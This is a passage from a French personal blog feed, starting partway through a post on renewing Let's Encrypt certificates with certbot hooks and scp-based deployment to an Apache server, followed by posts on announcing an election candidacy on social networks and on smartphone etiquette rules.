&lt;p&gt;Les deux fichiers — que je renommerai — à transférer sur le serveur web sont:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;live/privkey.pem&lt;/code&gt; comme &lt;code&gt;SSLCertificateKeyFile&lt;/code&gt; et&lt;/li&gt;
&lt;li&gt;&lt;code&gt;live/fullchain.pem&lt;/code&gt; comme &lt;code&gt;SSLCertificateFile&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;J&amp;rsquo;ajoute une configuration &lt;em&gt;apache&lt;/em&gt; à l&amp;rsquo;allure suivante:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;ServerAdmin&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;webmaster@elsewhere.example.org
&lt;span class="nb"&gt;ServeName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;elsewhere.example.org
&lt;span class="nb"&gt;DocumentRoot&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sx"&gt;/var/www/html/elsewhere.example.org/&lt;/span&gt;

&lt;span class="nb"&gt;ErrorLog&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;${APACHE_LOG_DIR}/error.log
&lt;span class="nb"&gt;CustomLog&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;${APACHE_LOG_DIR}/access.log&lt;span class="w"&gt; &lt;/span&gt;combined

&lt;span class="nb"&gt;SSLEngine&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;on&lt;/span&gt;
&lt;span class="nb"&gt;SSLCertificateFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;etc&lt;/span&gt;&lt;span class="sx"&gt;/apache2/ssl/elsewhere.example.org.fullchain.pem&lt;/span&gt;
&lt;span class="nb"&gt;SSLCertificateKeyFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;etc&lt;/span&gt;&lt;span class="sx"&gt;/apache2/ssl/elsewhere.example.org.privkey.pem&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;… et tout roule.&lt;/p&gt;
&lt;p&gt;Il reste à prévoir le renouvellement du certificat lors de la réception du mail de &lt;em&gt;letsencrypt&lt;/em&gt;. C&amp;rsquo;est mieux si ce renouvellement est un peu automatisé.&lt;/p&gt;
&lt;p&gt;Comme la commande est lancée manuellement, pas de &lt;em&gt;renew&lt;/em&gt; possible, il faut relancer la commande initiale. Nous allons l&amp;rsquo;adapter un peu pour notre facilité.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;pour le nenouvellement, il est nécéssaire d&amp;rsquo;actualiser le &lt;em&gt;challenge&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Dans notre cas, il faudrait adapter l&amp;rsquo;enregistrement dns ce qui nécessite une connexion chez l&amp;rsquo;hébergeur ou un client spécifique (&lt;a href="https://id-rsa.pub/post/certbot-auto-dns-validation-with-lexicon/"&gt;exemple avec lexicon&lt;/a&gt;). Le challenge &lt;em&gt;http&lt;/em&gt; demande qu&amp;rsquo;un fichier soit présent sur l&amp;rsquo;hébergement… ce qui peut être fait via &lt;em&gt;scp&lt;/em&gt;. C&amp;rsquo;est plus facile et ça peut être automatisé.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;certbot&lt;/em&gt; a un &lt;a href="https://certbot.eff.org/docs/using.html#pre-and-post-validation-hooks"&gt;système de &lt;em&gt;hooks&lt;/em&gt;&lt;/a&gt; qui peuvent être déclenchés avant la vérification et après.&lt;/p&gt;
&lt;p&gt;Dès que &lt;em&gt;letsencrypt&lt;/em&gt; nous communique notre challenge — que ce soit l&amp;rsquo;enregistrement dns à placer ou le fichier à déposer — c&amp;rsquo;est le &lt;em&gt;hook&lt;/em&gt; qui se chargera de la faire.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;J&amp;rsquo;ajoute deux scripts à l&amp;rsquo;allure suivante:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;le premier sera exécuté avant et va donc déposer le challenge  &lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;before.sh&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="c1"&gt;#! /usr/bin/env bash&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$CERTBOT_VALIDATION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;/tmp/&lt;span class="nv"&gt;$CERTBOT_TOKEN&lt;/span&gt;
scp&lt;span class="w"&gt; &lt;/span&gt;/tmp/&lt;span class="nv"&gt;$CERTBOT_TOKEN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;user@host.example.org:&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;/var/www/elsewhere.example.org/.well-known/acme-challenge
rm&lt;span class="w"&gt; &lt;/span&gt;/tmp/&lt;span class="nv"&gt;$CERTBOT_TOKEN&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;le second ira déposer les certificats sur le serveur &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;after.sh
&lt;span class="c1"&gt;#! /usr/bin/env bash&lt;/span&gt;

scp&lt;span class="w"&gt; &lt;/span&gt;live/elsewhere.example.org/privkey.pem&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;user@host.examble.org:/home/user/ssl/elsewhere.example.org.key.pem
scp&lt;span class="w"&gt; &lt;/span&gt;live/elsewhere.example.org/fullchain.pem&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;user@host.examble.org:
&lt;span class="w"&gt;        &lt;/span&gt;/home/user/ssl/elsewhere.example.org.fullchain.pem
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Lors du renouvellement, j&amp;rsquo;entre alors une commande à l&amp;rsquo;allure suivante (le paramètre &lt;em&gt;manual-public-logging-ok&lt;/em&gt; évite le prompt Y/N pour le &lt;em&gt;log&lt;/em&gt; de l&amp;rsquo;IP et &lt;em&gt;max-log-backups&lt;/em&gt; limite le nombre de logs à 3… au lieu de 1000):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;certbot&lt;span class="w"&gt; &lt;/span&gt;certonly&lt;span class="w"&gt; &lt;/span&gt;--manual&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;--preferred-challenges&lt;span class="w"&gt; &lt;/span&gt;http&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;-d&lt;span class="w"&gt; &lt;/span&gt;elsewhere.example.org&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;--config-dir&lt;span class="w"&gt; &lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;--logs-dir&lt;span class="w"&gt; &lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;--work-dir&lt;span class="w"&gt; &lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;--manual-public-ip-logging-ok&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;--manual-auth-hook&lt;span class="w"&gt; &lt;/span&gt;../before.sh&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;--manual-cleanup-hook&lt;span class="w"&gt; &lt;/span&gt;../after.sh&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;--max-log-backups&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;… et tout est fait… presque car il faut encore faire un &lt;em&gt;reload&lt;/em&gt; du serveur apache.&lt;/p&gt;
&lt;p&gt;Cette méthode a ses défauts, elle permet de comprendre le fonctionnement de &lt;em&gt;letsencrypt&lt;/em&gt; et de garder la main sur toute la chaine. C&amp;rsquo;est pédagogique ;-)&lt;/p&gt;
&lt;p&gt;Enjoy !&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;  &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="https://gratisography.com/"&gt;Gratisography&lt;/a&gt;. Sérieux avec un grain de folie.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Si tu es attentif, tu vois que je ne copie pas dans &lt;code&gt;/etc/apache2&lt;/code&gt; mais dans le home de l&amp;rsquo;utilisateur… les fichiers dans &lt;code&gt;/etc/apache2&lt;/code&gt; sont des liens &lt;em&gt;softs&lt;/em&gt;. Ceci permet de ne pas se connecter en &lt;em&gt;ssh&lt;/em&gt; (via &lt;em&gt;scp&lt;/em&gt;) avec les droits &lt;em&gt;root&lt;/em&gt;.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Si je devais me présenter aux élections</title><link href="http://blog.namok.be/2018-02-13-si-je-devais-me-presenter-aux-elections.html" rel="alternate"/><published>2018-02-13T00:00:00+01:00</published><updated>2018-02-13T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2018-02-13:/2018-02-13-si-je-devais-me-presenter-aux-elections.html</id><summary type="html">Si je devais me présenter aux élections</summary><content type="html">&lt;p&gt;&lt;img alt="434H-1200.jpg" src="/images/434H-1200.jpg" title="434H-1200.jpg, fév. 2018"&gt;&lt;/p&gt;
&lt;p&gt;La période des élections approche. Enfin je crois. C&amp;rsquo;est dire comme je suis au fait de la politique. Ceci dit, les signes précurseurs ne trompent pas. Les mayeurs — bourgmestres pour celles et ceux qui préfèrent — annoncent qu&amp;rsquo;ils se représentent alors qu&amp;rsquo;ils ont largement atteint l&amp;rsquo;âge de la retraite et, pendant ce même temps, certain·es plus jeunes se disent: « Pourquoi pas ? ». Ben oui pardi ! C&amp;rsquo;est bien beau de taper sur la politique et critiquer mais à un moment, il faut peut-être mouiller son maillot et y aller.&lt;/p&gt;
&lt;p&gt;— Regarde ce qu&amp;rsquo;ils ont décidé. Encore une belle connerie. Et on a voté pour eux !&lt;br&gt;
— Ben vas-y ! Présente-toi.&lt;br&gt;
— …&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;« La critique est aisée, l&amp;rsquo;art est difficile. »&lt;br&gt;
Anonyme que je cite à tours de bras.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Plus personne.&lt;/p&gt;
&lt;p&gt;Parce que s&amp;rsquo;engager en politique, c&amp;rsquo;est… s&amp;rsquo;engager. Avant d&amp;rsquo;avoir suivi ou constitué le moindre dossier. Avant d&amp;rsquo;avoir mis son nom sur une liste — qu&amp;rsquo;il faudra choisir mais c&amp;rsquo;est une autre histoire. Avant d&amp;rsquo;avoir un programme. Un programme ! Ou tout au moins des sujets que l&amp;rsquo;on affectionne.&lt;/p&gt;
&lt;p&gt;Je ne peux pas passer à côté des logiciels libres et de la neutralité du net. Les licences libres et Internet sont mes deux communs — lire à ce sujet &lt;em&gt;&lt;a href="http://www.eclm.fr/ouvrage-364.html"&gt;La renaissance des communs de David Bollier&lt;/a&gt;&lt;/em&gt; (&lt;a href="http://docs.eclm.fr/pdf_livre/364RenaissanceDesCommuns.pdf"&gt;pdf&lt;/a&gt;) ou &lt;a href="https://fr.wikipedia.org/wiki/Communs"&gt;Wikipedia&lt;/a&gt; pour l&amp;rsquo;introduction courte — préférés bien que tous les autres communs valent la peine d&amp;rsquo;être défendus. Défendre les communs, c&amp;rsquo;est défendre qu&amp;rsquo;une ressource peut être partagée dès lors qu&amp;rsquo;elle est gérée collectivement par un groupe — les &lt;em&gt;commoners&lt;/em&gt; — et régie par des règles et une gouvernance qui garantissent que la ressource perdure, reste pérenne et puisse être utilisée. Un commun n&amp;rsquo;appartient pas à quelqu&amp;rsquo;un. On ne parle pas de propriété mais d&amp;rsquo;usage. Et c&amp;rsquo;est beau !&lt;/p&gt;
&lt;p&gt;Un autre de mes sujets de prédilection est « Du pain et des jeux ! ». Cette volonté — de qui d&amp;rsquo;ailleurs — de nous abrutir ou, plus gentiment, de nous endormir en nous gavant de publicités et de messages nous incitant à consommer. Toujours. Plus. Nous endormir en nous donnant des applications qui nous font perdre notre temps et ne nous élèvent pas. Nous avons des difficultés à passer un peu de temps sans écran. Nous ne regardons plus l&amp;rsquo;autre. Nous coupons un peu nos liens sociaux… et nous invectivons l&amp;rsquo;autre sur les réseaux sociaux. Sans plus de limite. Sous le couvert de notre &lt;em&gt;pseudonymat&lt;/em&gt;. Il est pourtant possible — et plein d&amp;rsquo;initiatives existent — de limiter, décroitre et rencontrer l&amp;rsquo;autre dans des projets citoyens. Projets citoyens, c&amp;rsquo;est pédant. Disons dans des groupes de défense de l&amp;rsquo;agriculture locale, dans un groupe d&amp;rsquo;achat ou dans cette bonne vieille fanfare du village.&lt;/p&gt;
&lt;p&gt;Mais avant tout ça donc, il faut annoncer que l&amp;rsquo;on se présente ! Et cette annonce se fait évidemment via les réseaux sociaux… mais peut-on dire &lt;strong&gt;les&lt;/strong&gt; ou n&amp;rsquo;en reste-t-il qu&amp;rsquo;un ?&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai annoncé sur &lt;strong&gt;Diaspora&lt;/strong&gt; que je me présentais. Je n&amp;rsquo;ai pas eu de réaction.&lt;br&gt;
C&amp;rsquo;est un peu normal les 3 personnes que je suis ne me connaissent pas. Je n&amp;rsquo;ai quasi aucune interaction tellement c&amp;rsquo;est désert et, si Framasoft — via framaphere — n&amp;rsquo;avait pas créé son instance on n&amp;rsquo;en parlerait probablement plus. Dommage.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai &lt;em&gt;pouetté&lt;/em&gt; sur &lt;strong&gt;Mastodon&lt;/strong&gt; que je me présentais. Je n&amp;rsquo;ai pas eu de réaction.&lt;br&gt;
Ceux qui me suivent sur mastodon ne sont pas très nombreux et sont pour la plupart des gens que je n&amp;rsquo;ai jamais rencontré « en vrai ». Ils ne sont pas intéressés par la politique en général et évidemment pas par celle de ma ville.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai &lt;em&gt;twitté&lt;/em&gt; sur &lt;strong&gt;Twitter&lt;/strong&gt; — vous avez remarqué que l&amp;rsquo;on &lt;em&gt;twitte&lt;/em&gt; sur Twitter mais que l&amp;rsquo;on peut &lt;em&gt;pouetter&lt;/em&gt; où l&amp;rsquo;on veut quand c&amp;rsquo;est acentralisé — que je me présentais. Je n&amp;rsquo;ai pas eu de réaction. Bon en fait, sur twitter par contre, ça commence à venir — en vrai, je ne sais pas, c&amp;rsquo;est une fiction — car j&amp;rsquo;ai des &lt;em&gt;followers&lt;/em&gt; de mon village.&lt;/p&gt;
&lt;p&gt;Et enfin — car je ne pense pas que l&amp;rsquo;on &lt;em&gt;instagramme&lt;/em&gt; ou que l&amp;rsquo;on &lt;em&gt;snapchatte&lt;/em&gt; lorsque l&amp;rsquo;on se présente aux élections. Si ? — j&amp;rsquo;ai posté sur &lt;strong&gt;Facebook&lt;/strong&gt; que je me présentais. Là, les réactions ne se sont pas fait attendre. J&amp;rsquo;ai bien sûr — et c&amp;rsquo;est toujours une fiction — vu les &lt;em&gt;like&lt;/em&gt;, &lt;em&gt;love&lt;/em&gt;, &lt;em&gt;haha&lt;/em&gt;, &lt;em&gt;wow&lt;/em&gt;, &lt;em&gt;sad&lt;/em&gt; et &lt;em&gt;angry&lt;/em&gt; (sic) ainsi que les quelques commentaires — d&amp;rsquo;un seul mot — de soutien, d&amp;rsquo;étonnement ou déjà un peu et gentiment moqueur. Très peu de partages alors qu&amp;rsquo;ils apportent de la visibilité auprès des amis de mes amis.&lt;/p&gt;
&lt;p&gt;Quelques heures plus tard apparaissait le premier commentaire d&amp;rsquo;une personne que je ne connais pas me demandant si je peux faire quelque chose pour les poubelles dans sa rue… :-\&lt;/p&gt;
&lt;p&gt;Je m&amp;rsquo;étais demandé un peu plus tôt, s&amp;rsquo;il fallait que je crée un compte Facebook public uniquement destiné à la vie politique. Il aurait alors fallu refaire un réseau d&amp;rsquo;&lt;em&gt;amis Facebook&lt;/em&gt;. J&amp;rsquo;utiliserai donc le même compte et je continuerai sur ma lancée de me distancer de plus en plus de Facebook &lt;a href="2017-12-02-eviter-de-se-faire-voler-du-temps-par-son-telephone-conseils-philosophe-produit.html"&gt;dont le but est de me prendre mon temps&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Tout ces réseaux peuvent parfois se résumer à un seul. Et je ne communique rien à ceux qui n&amp;rsquo;ont pas de compte Facebook. Comment communiquer convenablement — même si peu le font — avec mes les gens de mon village ? Ceux qui ont — ou pas — voté pour moi. Ceux qui s&amp;rsquo;intéressent au travail des élus.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Un bon vieux blog.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Pour communiquer auprès de mes futurs électeurs d&amp;rsquo;abord, auprès de tous ensuite, je conserverais — et c&amp;rsquo;est ce que je te conseille, toi qui te présentes aux élections — mon bon vieux blog. Un blog hébergé chez un hébergeur professionnel et dont les billets sont &lt;em&gt;cross-postés&lt;/em&gt; sur les réseaux sociaux. Sur ce blog, je présenterais les actions que j&amp;rsquo;ai entreprises.&lt;/p&gt;
&lt;p&gt;Concrètement.&lt;br&gt;
Simplement.&lt;br&gt;
Avec transparence.&lt;/p&gt;
&lt;p&gt;Si tout ça parait compliqué, il reste toujours l&amp;rsquo;autre voie. Beaucoup plus simple…&lt;/p&gt;
&lt;p&gt;Si je me présentais aux élections &lt;a href="2012-10-08-je-ne-voterai-pas-pour-kevin.html"&gt;je ferais comme Kevin&lt;/a&gt;. J&amp;rsquo;aurais un profil Facebook sur lequel je ne mettrais aucun article à lire. Il n&amp;rsquo;y aurait que des photos des fêtes de village où je paie des verres un peu à tout le monde. Se montrer et serrer des mains. Une méthode qui fonctionne non ?&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="https://gratisography.com/"&gt;Gratisography&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Smartiquette ou les règles d'usage du smartphone</title><link href="http://blog.namok.be/2018-01-19-smartiquette-ou-regles-usage-smartphone.html" rel="alternate"/><published>2018-01-19T00:00:00+01:00</published><updated>2018-01-19T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2018-01-19:/2018-01-19-smartiquette-ou-regles-usage-smartphone.html</id><summary type="html">Smartiquette ou les règles d'usage du smartphone</summary><content type="html">&lt;p&gt;&lt;img alt="kevin-garden-phone-gird.jpg" src="/images/kevin-garden-phone-gird.jpg" title="kevin-garden-phone-gird.jpg, janv. 2018"&gt;&lt;/p&gt;
&lt;p&gt;Dans les années nonante, un document — la &lt;a href="http://www.faqs.org/rfcs/rfc1855.html"&gt;RFC1855&lt;/a&gt; — a été écrit à destination de la communauté internet. Cette note — toujours d&amp;rsquo;actualité — donne des conseils sur l&amp;rsquo;usage d&amp;rsquo;internet. Vous &lt;a href="2016-12-19-bon-anniversaire-netiquette.html"&gt;pouvez lire la version mise à jour de cette note, appelée Netiquette 2.0&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;En ce début du siècle suivant, je ne résiste pas à l&amp;rsquo;envie de proposer un mémo à destination de la communauté connectée.&lt;br&gt;
&lt;strong&gt;Aux utilisateurs et aux utilisatrices d&amp;rsquo;un smartphone.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Cette note est un ensemble de bonnes pratiques que chacun·e &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; peut adapter et enrichir à sa situation.&lt;/p&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui tout le monde ou presque possède un smartphone. Si quelques personnes parmi nous l&amp;rsquo;ont découvert à l&amp;rsquo;âge adulte, d&amp;rsquo;autres sont nées avec et ont été confrontées aux écrans dès leur plus jeune âge. Comme plusieurs voix s&amp;rsquo;élèvent pour un usage responsable du smartphone, il est l&amp;rsquo;heure d&amp;rsquo;énoncer quelques règles qui vous permettront d&amp;rsquo;adopter ces comportements ou, au minimum, d&amp;rsquo;être poli·e.&lt;/p&gt;
&lt;p&gt;Les trois premières règles sont communément acceptées partout. Les autres…&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Ne criez ni ne parlez trop fort lorsque vous êtes au téléphone.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Ne répondez pas à un appel lorsque vous êtes en réunion ou en interview.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Mettez votre smartphone en silencieux quand vous sortez (cinéma, théâtre, restaurant…).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Ne gardez pas votre smartphone continuellement en main ou à vue.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;N&amp;rsquo;emmenez pas votre smartphone dans votre chambre. S&amp;rsquo;il vous sert de réveil, achetez vous un réveil et… n&amp;rsquo;emmenez pas votre smartphone dans votre chambre.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Ne commencez pas votre journée en consultant votre smartphone. Les notifications peuvent attendre.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Supprimez toutes les notifications qui ne sont pas importantes.&lt;/p&gt;
&lt;p&gt;Les notifications sont une source de distraction. Elles vous empêchent de vous consacrer au moment présent. Que ce moment soit un travail, une rencontre avec des amis ou la famille ou simplement un moment de réflexion.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Les notifications importantes sont celles d&amp;rsquo;un appel, d&amp;rsquo;un sms ou d&amp;rsquo;un message destiné à vous seul·e. Les autres messages peuvent attendre.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Mettez votre smartphone en silencieux dès que vous êtes au cinéma bien sûr mais aussi en réunion ou simplement avec vos amis et vos amies.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Gardez en tête qu&amp;rsquo;il n&amp;rsquo;est pas urgent de répondre dans la seconde à un message et encore moins à une interaction sur un réseau social.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Prévoyez des moments sans smartphone. Les moments sans smartphone — et sans distraction — &lt;a href="2014-11-12-pourquoi-retenir.html"&gt;vous permettent de penser&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Parfois lorsque vous attendez. Attendez. Simplement.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;When you wait. Just wait.&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Votre smartphone est un outil qui est à votre service et non l&amp;rsquo;inverse.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="2017-12-02-eviter-de-se-faire-voler-du-temps-par-son-telephone-conseils-philosophe-produit.html"&gt;Certaines applications ne sont pas développées pour vous faire gagner du temps mais pour vous en faire perdre&lt;/a&gt;. À défaut de supprimer ces applications, supprimez toutes les notifications en provenance de celles-ci.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;N&amp;rsquo;utilisez pas votre smartphone quand vous êtes avec vos amis et vos amies excepté s&amp;rsquo;il sert le groupe (pour montrer une image, faire une recherche, choisir une date…).&lt;/p&gt;
&lt;p&gt;Quand vous utilisez votre smartphone pour vous seul·e lorsque vous êtes avec d&amp;rsquo;autres (pendant un cours, une réunion de famille, professionnelle ou de loisirs, un repas…) vous dites aux autres personnes qu&amp;rsquo;elles ne sont pas assez intéressantes pour que vous leur consacriez toute votre attention.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Vous êtes multitâche. Vous pouvez utiliser votre smartphone et faire autre chose en même temps. C&amp;rsquo;est faux.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Si vous vivez avez une personne que vous aimez, tenez lui la main plus souvent que vous tenez votre smartphone et passez plus de temps avec elle qu&amp;rsquo;avec votre smartphone.&lt;/p&gt;
&lt;p&gt;Corollaires de cette règle, ces règles d&amp;rsquo;un enfant à destination de ses parents &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Ne tiens pas ton smartphone plus souvent que ma main.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Ne pleure pas si tu perds ton smartphone parce que moi, je suis toujours là.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;N&amp;rsquo;utilise ton smartphone « qu&amp;rsquo;une fois de temps en temps » et pas « tout le temps » parce que tu me manques tout le temps.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;J&amp;rsquo;ai toujours envie de te parler, je suis simplement trop petit·e pour t&amp;rsquo;envoyer un message.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Les smartphones sont autorisés pour faire une pause tant que nous passons suffisament de temps ensemble.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Imprimez, intégrez, ignorez, méditez, partagez… ces règles.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;  &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://fav.me/d8yhalx"&gt;Kévin Garden&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;En cette année 2018, date de rédaction de cette note, il est de bon ton de s&amp;rsquo;adresser aux hommes et aux femmes de manière plus explicite. Je tenterai d&amp;rsquo;écrire cette note en écriture inclusive et ce, en évitant tant que faire ce peu l&amp;rsquo;usage du point médian.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Ces règles à destination des parents ont été &lt;a href="http://www.ibelieveinjoy.com/cell-phone-rules-by-kids/"&gt;trouvées au hasard du web&lt;/a&gt;.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Heureusement que l'on a une bonne retraite</title><link href="http://blog.namok.be/2018-01-09-heureusement-on-a-une-bonne-retraite.html" rel="alternate"/><published>2018-01-09T00:00:00+01:00</published><updated>2018-01-09T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2018-01-09:/2018-01-09-heureusement-on-a-une-bonne-retraite.html</id><summary type="html">Heureusement que l'on a une bonne retraite</summary><content type="html">&lt;p&gt;&lt;img alt="sarah-louise-kinsella-460581-cut.jpg" src="/images/sarah-louise-kinsella-460581-cut.jpg" title="sarah-louise-kinsella-460581-cut.jpg, janv. 2018"&gt;&lt;/p&gt;
